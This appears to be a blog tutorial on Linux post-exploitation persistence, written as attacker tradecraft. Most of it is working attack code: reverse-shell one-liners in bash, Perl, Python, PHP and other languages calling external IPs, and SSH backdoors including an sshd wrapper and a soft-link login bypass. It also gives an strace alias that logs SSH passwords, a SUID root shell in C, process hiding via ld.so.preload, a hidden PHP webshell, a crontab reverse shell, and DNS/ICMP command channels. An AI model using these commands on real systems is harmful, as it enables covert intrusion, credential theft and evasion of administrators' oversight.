0X00 On Persistence Maintenance
What is Persistence Maintenance?
We can straightforwardly understand persistence maintenance as the installation of a backdoor on the target. The purpose of persistence maintenance is to ensure that one's privileges are not lost and to maintain continuous control over the target.
0X01 Obtaining Initial Access
Linux offers numerous methods for establishing a reverse shell. The primary advantage of a reverse shell is that it often provides a more convenient operational environment; for me personally, the key benefit is command completion. In any case, from a persistence perspective, it facilitates the execution of subsequent actions.
The ability to obtain a reverse shell depends on the target's environment. It is possible that Bash cannot directly establish a reverse shell, whereas Python might succeed. One must also remain mindful of application whitelisting.
For the experimental environment, Kali Linux will be used; ensure that a snapshot is taken.
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
URL-Encoded Perl: Linux
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat without -e #1
The mkfifo function merely creates a FIFO file; a named pipe must be used to open it.
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
Java
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
Xterm
xterm -display 10.0.0.1:1
Exec
0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
Consider: If during penetration testing one discovers that the target environment cannot establish a reverse shell, and only ports 80 and 443 are open, while traffic is intercepted when attempting a reverse shell via whitelisted ports, how should one respond?
One may attempt to encrypt the data packets to evade traffic monitoring devices.
Step 1:
Generate an SSL certificate public/private key pair on the VPS:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Step 2:
Listen for the reverse shell on the VPS:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
Step 3:
Connect:
mkfifo /tmp/excalibra;/bin/bash -i < /tmp/excalibra 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/excalibra
Obtain shell:
However, one will notice that this shell is not particularly usable, lacking basic command completion.
Solution:
python -c 'import pty; pty.spawn("/bin/bash")'
pty is a pseudo-terminal module.
pty.spawn(argv[, master_read[, stdin_read]])
Spawn a process, and connect its controlling terminal with the current process's standard I/O. This is often used to baffle programs which insist on reading from the controlling terminal.
The functions master_read and stdin_read should be functions which read from a file descriptor. The defaults try to read 1024 bytes each time they are called.
Changed in version 3.4: spawn() now returns the status value from os.waitpid() on the child process.
Sometimes after privilege escalation, the terminal may exhibit similar issues; this method generally resolves them. Alternatively, refer to the link below.
Socat
socat file:`tty`,raw,echo=0 tcp-listen:9999
Upload socat to the target machine, then execute:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
This also yields an interactive shell.
0X02 Persistence Techniques
SSH Backdoor
SSH Soft Link
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
Create a soft link and then access the SSH service via port 5555.
Add a user:
useradd excalibra -p excalibra
When connecting via SSH, any password can be entered; during Kali testing, even the root user worked.
For the specific principle, see An Investigation of PAM Triggered by a Linux Backdoor.
SSH Wrapper
Exploit:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
Then connect:
socat STDIO TCP4:target_ip:22,sourceport=13377
Principle:
init first starts /usr/sbin/sshd; when the script reaches
getpeername, the regular expression fails to match, so it proceeds to the next line, launching /usr/bin/sshd — the original sshd. The original sshd listens on the port, and after establishing a TCP connection, it forks a child process to handle specific tasks. This child process, without any further checks, directly executes the system's default /usr/sbin/sshd, returning control to the script. At this point, the child process's standard input and output have been redirected to the socket, sogetpeernamecan genuinely obtain the client's TCP source port. If the port matches 19526, it executesshto provide a shell.
From https://www.anquanke.com/post/id/155943#h2-9
SSH Key Injection
First, generate an SSH key locally:
ssh-keygen -t rsa
Then transmit the public key id_rsa.pub to the target.
At the same time, assign appropriate permissions, but they must not be overly permissive:
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
SSH Keylogger
Append to the end of the current user's configuration file:
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
OpenSSH Rootkit
This requires environmental dependencies to be installed, making it less practical. For reference, see Leveraging OpenSSH Backdoor to Hijack root Password.
SSH Stealth Login
Stealth login allows logging into the system without being detected by commands such as last, who, or w.
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
Linux Hiding Techniques
Simple File Hiding
touch .excalibra.py
One may conceal malicious files within various directories.
Hidden Permissions
The chattr command can be used to apply a 'lock' to a file to prevent its deletion; we can exploit this.
Concealing Command History
After obtaining a shell, enable 'incognito mode' by disabling the command history recording function.
set +o history
Restore with:
set -o history
history
Once restored, command history is recorded normally.
Deleting Specific Command History
Delete designated historical records:
sed -i "100,$d" .bash_history
This removes command lines from line 100 onwards.
Port Reuse
Sharing SSH and HTTPS on the Same Port via SSLH
A tool for sharing SSH and HTTPS on the same port on Linux: SSLH
Install SSLH
apt install sslh
Configure SSLH
Edit the SSLH configuration file:
sudo vi /etc/default/sslh
1. Locate the line: Run=no and change it to: Run=yes
2. Modify the following line to allow SSLH to listen on port 443 on all available interfaces
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
service sslh start
The environment is Docker; port 444 corresponds to the target's port 443.
Test successful.
iptables
# Port reuse chain
iptables -t nat -N LETMEIN
# Port reuse rule
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# Activation trigger
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# Deactivation trigger
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
Exploit:
TIPS: When testing with Docker
docker run -ti --privileged ubuntu:latest
The --privileged parameter is essential.
# Activate reuse
echo threathuntercoming | socat - tcp:192.168.19.170:80
# SSH login using port 80
ssh -p 80 root@192.168.19.170:
# Deactivate reuse
echo threathunterleaving | socat - tcp:192.168.19.170:80
There also exist ICMP-based exploitation methods. The original article:
Remotely Controlling iptables for Port Reuse
Process Hiding
libprocesshider
A project on GitHub: https://github.com/gianlucaborello/libprocesshider
Utilise LD_PRELOAD to hijack system functions, as follows:
# Download and compile the programme
git clone https://github.com/gianlucaborello/libprocesshider.git
apt-get install gcc automake autoconf libtool make
cd libprocesshider/ && make
# Move the file to the /usr/local/lib/ directory
cp libprocesshider.so /usr/local/lib/
# Load it into the global dynamic linker
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
# Alternatively: export LD_PRELOAD=/usr/local/lib/libprocesshider.so
The specific process name can be configured within the C file.
A tool to counteract this:
unhide proc
linux-inject
linux-inject is a tool for injecting shared objects into Linux processes.
Project address: https://github.com/gaffe23/linux-inject.git
# Download and compile the programme
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# Test process
./sample-target
# Process injection
./inject -n sample-target sample-library.so
First, compile one's own defined C file.
Install the dependency packages:
sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386
sudo apt-get install clang
#include <stdio.h>
__attribute__((constructor))void hello() { puts("Hello world!");}
Generate the .so file:
gcc -shared -fPIC -o libexcalibra.so hello.c
First, execute the test file.
Then inject the custom .so file.
Injection successful.
Vegile
Vegile is a tool for hiding one's own processes; even if the process is killed, it will restart. It leverages the technique where, before executing a certain executable file under Linux, the system pre-loads user-defined dynamic link libraries, which can rewrite system library functions, leading to hijacking.
First, generate an MSF backdoor:
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=149.129.72.186 LPORT=8000 -f elf -o /var/www/html/Excalibra_Backdoor2
Set up the MSF listener
Execute
The first method involves process injection; the second ensures that the reverse shell reconnects even if the process is terminated.
Due to dependencies, the second method has a minor bug.
Then test should be successful.
Cymothoa
Cymothoa is a lightweight backdoor that also employs process injection.
Download address: https://sourceforge.net/projects/cymothoa/files/latest/download
Compiled binary: https://github.com/BlackArch/cymothoa-bin
Usage:
./cymothoa -S
View available shellcodes. Only the reverse shell functionality is required; 0 will suffice.
Locate the PID of bash, as the bash process is typically always present.
./cymothoa -p pid -s 1 -y port
It is not very controllable; during my Kali testing, it caused the process to die. It is not recommended for use in live environments.
If successful, nc can directly connect to the custom port, which depends on the environment.
Setuid and Setgid
setuid: When set on an executable file, it allows the file to execute with the permissions of the file's owner. A typical file is/usr/bin/passwd. If an ordinary user executes that file, during execution the file obtains root privileges, thereby enabling the user to change their password.setgid: This permission is only effective for directories. When set on a directory, any file created within that directory will have the same group ownership as the directory itself.sticky bit: This bit can be understood as a deletion-prevention bit. Whether a file can be deleted by a user mainly depends on whether the group to which the file belongs has write permission for that user. Without write permission, all files in that directory cannot be deleted, nor can new files be added. If one wishes to allow users to add files but not delete them, the sticky bit can be applied to the directory. Once set, even if a user has write permission on the directory, they cannot delete the file.
As is well known, Linux file permissions are expressed as 777, 666, etc. In fact, by adding the SUID permission to a file, one can run that file with the privileges of its owner. Therefore, one need only copy the bash binary to another location, assign SUID with root ownership, and whenever any user runs this shell, they can execute any file with root privileges.
Write a simple backdoor in backdoor.c:
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
Compile:
gcc backdoor.c -o backdoor
cp backdoor /bin/
chmod u+s /bin/backdoor
Execute backdoor as the user.
inetd Backdoor
inetd is a daemon that monitors network requests and invokes the corresponding service process to handle the connection request. It can manage connections for multiple services; when inetd receives a connection, it determines which programme is required, starts the corresponding process, and passes the socket to it (the service socket becomes the programme's standard input, output, and error descriptors).
Installation:
apt-get install openbsd-inetd
Utilise a system-provided service.
Configure the backdoor:
# vi /etc/inetd.conf
fido stream tcp nowait root /bin/bash bash -i # When an external request for the service named 'fido' arrives, a shell is spawned
inetd
Then connect via nc.
Reference: Brief Analysis and Exploitation of inetd Backdoor
Adding a Backdoor User
Generate password
perl -e 'print crypt("excalibra", "AA"). "\n"'
Directly append to passwd
echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash" >>/etc/passwd
This is easily detectable; it is more advisable to use an SSH key instead.
ICMP Backdoor
Project address: https://github.com/andreafabrizi/prism
Compilation:
For the Android platform:
apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
For Linux 64-bit:
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c
For Linux 32-bit:
apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c
On the attack machine, await the backdoor connection:
nc -l -p 9999
Send the packet to trigger the backdoor.
DNS Backdoor
Project address: https://github.com/iagox86/dnscat2
Even in the most restrictive environments, the target will almost certainly permit DNS resolution of external or internal domains. This can serve as a C2 channel. Commands and data are intermingled within DNS query and response headers, making detection extremely difficult because commands are concealed within normal traffic.
We will utilise dnscat2 to implement this.
My macOS installation experienced issues; the environment proved troublesome, so I reverted to Kali. Ultimately, I used the host machine. The server requires a source change; it is recommended to directly specify https://gems.ruby-china.com/ within the Gemfile.
My configuration:
# Gemfile
# By Ron Bowes
#
# See LICENSE.md
source 'https://gems.ruby-china.com/'
gem 'trollop' # Commandline parsing
gem 'salsa20' # Encrypted connections
gem 'sha3' # Message signing + key derivation
gem 'ecdsa' # Used for ECDH key exchange
$ gem install bundler
$ bundle install
Start the server:
sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache
Then compile the client; simply run make:
./dnscat --dns server=192.168.123.192
On the host machine:
session -i 1
I will capture packets to observe how communication occurs.
All commands are transmitted via DNS traffic.
You may test the PowerShell version of dnscat2.
Start-Dnscat2 -Domain attck.me -DNSServer 192.168.123.192
It is now online.
Then open a new interactive shell.
Conclusion
Using dnscat2 offers several advantages:
- Supports multiple sessions
- Traffic encryption
- Protection against MiTM attacks via keys
- Ability to run PowerShell scripts directly from memory
VIM Backdoor
First, construct a malicious script excalibra.py:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',666))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
The prerequisite is that VIM has Python extensions installed; by default, when installed, Python extensions are included.
The script can be placed in Python's extension directory:
$(nohup vim -E -c "py3file excalibra.py"> /dev/null 2>&1 &) && sleep 2 && rm -f excalibra.py
One can observe the vim process in the background, but not the Python process.
Principle reference: https://github.com/jaredestroud/WOTD
PAM Backdoor
PAM (Pluggable Authentication Modules) is an authentication mechanism proposed by Sun. It provides a set of dynamic link libraries and a unified API, separating the service provided by the system from its authentication method. This enables system administrators to flexibly configure different authentication methods for different services without modifying the service programmes, and also facilitates the addition of new authentication mechanisms to the system.
Project address: https://github.com/litsand/shell
This is an automated script. It is more suited to CentOS; my test environment was Ubuntu, so I will not reproduce it for the time being.
Carriage Return Backdoor (\r)
echo -e "<?=\`\$_POST[excalibra]\`?>\r<?='Excalibra ';?>" >/var/www/html/excalibra.php
After adding the -e \r parameter, viewing the source code directly only reveals the latter half.
strace Backdoor
strace is often used to trace the system calls and signals received during a process's execution. In the Linux world, processes cannot directly access hardware devices; when a process needs to access hardware (e.g., reading disk files, receiving network data), it must switch from user mode to kernel mode and access the hardware through system calls. strace can trace the system calls generated by a process, including parameters, return values, and execution time consumed.
ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \
-e read,write,connect -s2048 ssh'
This is similar to the alias backdoor.
When testing with Docker, include the --privileged parameter.
Similarly, one can record other commands:
su='strace -o /tmp/sulog-`date '+%d%h%m%s'`.log \
-e read,write,connect -s2048 su'
Tiny shell
Project address: https://github.com/orangetw/tsh
Compile under Linux:
./compile.sh linux 149.129.72.186 1234 excalibra 22
The parameters represent:
usage:
compile.sh os BC_HOST BC_PORT [PASSWORD] [BC_DELAY]
compile.sh os 8.8.8.8 8081
compile.sh os 8.8.8.8 8081 mypassword 60
Please specify one of these targets:
compile.sh linux
compile.sh freebsd
compile.sh openbsd
compile.sh netbsd
compile.sh cygwin
compile.sh sunos
compile.sh irix
compile.sh hpux
compile.sh osf
Upon success, the files tsh and tshd are generated, representing the client and server respectively.
Run on the target:
umask 077; HOME=/var/tmp ./tshd
On the attack machine:
tsh targetip
A shell will be obtained. Additionally, file upload and download are supported.
Reverse connection form.
Browser Plugin Backdoor
Project address: https://github.com/graniet/chromebackdoor
I spent considerable time testing this project, but have not yet succeeded; it is unclear whether the browser imposes restrictions.
Local Job Scheduling
Crontab
Test environment: macOS
Scheduled reverse shell:
(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -
Other Backdoor
Project address: https://github.com/iamckn/backdoors
Some process hiding techniques, followed by a reverse shell.
Demonstration using uname:
uname.sh
#uname
#-------------------------
touch /usr/local/bin/uname
cat <<EOF >> /usr/local/bin/uname
#!/bin/bash
#nc.traditional -l -v -p 4444 -e /bin/bash 2>/dev/null &
#socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &
socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &
#perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &
/bin/uname \$@
EOF
Replace the reverse shell command as needed.
0x03 Rootkit
What is a Rootkit?
In suspenseful spy films, one faction typically dispatches an agent to infiltrate the opposing camp. The agent's excellent disguise allows them to remain undetected for an extended period; to maintain long-term concealment, they avoid high-risk actions that might prematurely expose them. They earn the enemy's trust and attain a high-ranking position, enabling them to continuously acquire vital intelligence and transmit it through unique channels.
In a sense, this uninvited guest is akin to a Rootkit—a programme that resides persistently and undetectably on a target computer, manipulates the system, and collects data through covert channels. The three essential elements of a Rootkit are: concealment, manipulation, and data collection.
The term "root" originates from the Unix realm. As the Unix system administrator account is called root—which possesses the fewest security restrictions—fully controlling a host and gaining administrator privileges is referred to as having "rooted" the computer. However, "rooting" a host does not guarantee sustained control, because an administrator may detect the intrusion and take remedial action. Hence, the initial meaning of Rootkit is "a set of tools that can maintain root privileges."
Simply put, a Rootkit is a special type of malicious software whose function is to hide itself and designated files, processes, and network connections on the installed target. Rootkits are commonly combined with other malicious programmes such as Trojans and backdoors. By loading special drivers and modifying the system kernel, Rootkits achieve the purpose of concealment.
A typical rootkit includes:
- 1 An Ethernet sniffer programme, used to capture usernames and passwords transmitted over the network.
- 2 Trojan horse programmes, such as
inetdorlogin, to provide a backdoor for the attacker. - 3 Programmes to hide the attacker's directories and processes, such as
ps,netstat,rshd, andls. - 4 It may also include log cleaning tools, such as
zap,zap2, orz2, which the attacker uses to delete entries regarding their activities from log files likewtmp,utmp, andlastlog. - Some complex rootkits can also offer services like telnet, shell, and finger to the attacker.
Application-Level Rootkit
Application-level rootkits primarily achieve concealment by bulk replacement of system commands—for instance, replacing ls, ps, and netstat to hide files, processes, and network connections. Sometimes a daemon process is present to ensure the stability of the backdoor. Two commonly used Trojans are mafix and brookit. Application-level rootkits are relatively easy to remove; the most troublesome are kernel-level and hardware-level rootkits.
Kernel-Level Rootkit
These load backdoors via kernel modules, which is comparatively complex. Kernel backdoors are generally operating-system specific, as kernel module programming varies between different operating systems and is not typically universal. Kernel backdoors usually cannot be detected through checks like MD5 verification, making them fundamentally difficult to discover. Currently, kernel backdoors are more prevalent on Linux and Solaris.
Hardware-Level Backdoor
This refers to backdoors embedded in the manufacturer's hardware, such as CPUs, motherboards, mice, etc.
Demonstration: the example I located should be a kernel rootkit; for other classic kernel rootkits, one may examine these:
https://github.com/David-Reguera-Garcia-Dreg/enyelkm
https://github.com/yaoyumeng/adore-ng
Reptile
Test environment: Kali
Project address: https://github.com/f0rb1dd3n/Reptile


Top comments (0)